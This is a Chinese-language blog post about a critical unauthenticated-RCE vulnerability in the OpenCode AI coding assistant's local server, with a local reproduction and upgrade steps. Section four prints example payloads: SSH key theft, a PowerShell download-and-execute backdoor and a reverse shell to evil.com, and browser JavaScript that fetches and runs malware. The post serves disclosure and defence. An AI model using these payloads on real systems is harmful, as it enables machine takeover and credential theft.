thumbnail
OpenCode 惊现 CVSS 10.0 严重漏洞:任意代码执行

OpenCode 惊现 CVSS 10.0 严重漏洞:任意代码执行

就在几天前,开源 AI 编程助手 OpenCode 曝出一个CVSS 10.0 级别的严重漏洞。任何网站都可以在你的电脑上执行任意命令——没错,只需要你访问一个恶意网页。


一、惊魂时刻:我是如何发现自己的电脑被"控制"的

1 月 13 日,OpenCode 开发者 thdxr 紧急披露了一个安全漏洞。Cloudflare 安全研究员发现:OpenCode 的本地服务器没有任何身份验证,任何人都可以连接并执行命令。

我第一时间检查了自己的 OpenCode 版本——

1
2
$ opencode --version
1.1.8

心跳漏了一拍。根据官方公告,1.1.10 之前的版本都存在这个漏洞


二、漏洞原理:为什么如此严重?

2.1 零身份验证的本地服务器

OpenCode 在启动时会自动启动一个 HTTP 服务器(端口 4096+),用于与 Web 界面通信。但问题在于:这个服务器没有任何身份验证机制。

任何人只要能连接到这个端口,就可以:

API 端点 功能 危险等级
GET /session 列出所有会话 🟡 中
POST /session 创建新会话 🟡 中
POST /session/:id/shell 执行任意 shell 命令 🔴 严重
GET /file/content?path=xxx 读取任意文件 🔴 严重

2.2 攻击场景简单得可怕

攻击流程只需要三步:

1
2
3
1. 扫描本地端口 → 找到 OpenCode (4096+)
2. 创建会话     → POST /session
3. 执行命令     → POST /session/:id/shell

无需用户交互、无需密码、无需任何配置。


三、实战复现:我"黑"进了自己的电脑

3.1 发现漏洞端口

3.2 测试 API 访问

打开浏览器或 Postman,访问:

1
GET http://localhost:36504/session

返回结果让我倒吸一口凉气——无需任何认证,直接返回了我的所有会话信息:

3.3 RCE 命令执行测试

接下来是最关键的一步——执行命令:

1
2
3
4
5
6
7
POST http://localhost:36504/session/ses_xxx/shell
Content-Type: application/json

{
 "agent": "build",
 "command": "echo RCE_TEST"
}

几秒后,命令执行成功:

3.4 弹出计算器:漏洞的铁证

为了证明这不是开玩笑,我执行了一个更直观的命令:

1
2
3
4
{
 "agent": "build",
 "command": "calc.exe"
}

下一秒,Windows 计算器弹了出来。

这证明:任何能连接到这个端口的人,都能以我的用户权限执行任意代码。


四、更危险的攻击:如果黑客真的来了

弹出计算器只是无害演示。如果是真正的攻击者,他们可以:

4.1 窃取 SSH 私钥

1
2
3
{
 "command": "type C:\\Users\\YourName\\.ssh\\id_rsa"
}

4.2 植入后门

1
2
3
{
 "command": "powershell -c \"IEX(New-Object Net.WebClient).DownloadString('http://evil.com/backdoor.ps1')\""
}

4.3 建立反弹 Shell

1
2
3
{
 "command": "powershell -c \"$client = New-Object System.Net.Sockets.TCPClient('evil.com',4444);...\""
}

4.4 浏览器攻击(< v1.0.216)

在漏洞修复前,任何恶意网站都可以用这段代码攻击你:

1
2
3
4
5
6
7
8
9
10
11
12
13
// 植入在恶意网站中的代码
fetch('http://localhost:4096/session', {
method: 'POST',
body: '{}'
}).then(r => r.json()).then(session => {
fetch(`http://localhost:4096/session/${session.id}/shell`, {
method: 'POST',
body: JSON.stringify({
agent: 'build',
command: 'powershell -c "Invoke-WebRequest http://evil.com/malware.exe -OutFile temp.exe; Start-Process temp.exe"'
})
})
})

你只是访问了一个网页,电脑就被控制了。


五、版本对比:你受影响了吗?

版本 任意网站攻击 本地攻击 状态
< 1.0.216 ✅ 可行 ✅ 可行 🔴 极度危险
1.0.216 - 1.1.9 ❌ 受限 ✅ 可行 🟠 存在 RCE
≥ 1.1.10 ❌ 修复 ❌ 修复 🟢 安全

我的版本是 1.1.8,属于第二档——虽然网站攻击被修复了,但本地任何进程仍可执行命令。


六、立即修复:三步完成

步骤 1:检查版本

1
opencode --version

步骤 2:立即更新

1
2
3
4
5
# 终端版
npm update -g opencode-ai@latest

# 桌面版
# 访问 https://opencode.ai/download 重新下载安装

步骤 3:验证修复

1
2
3
4
5
# 确认版本 >= 1.1.10
opencode --version

# 确认端口不再监听(默认已禁用服务器)
netstat -ano | findstr "4096"

参考资料

上一篇
下一篇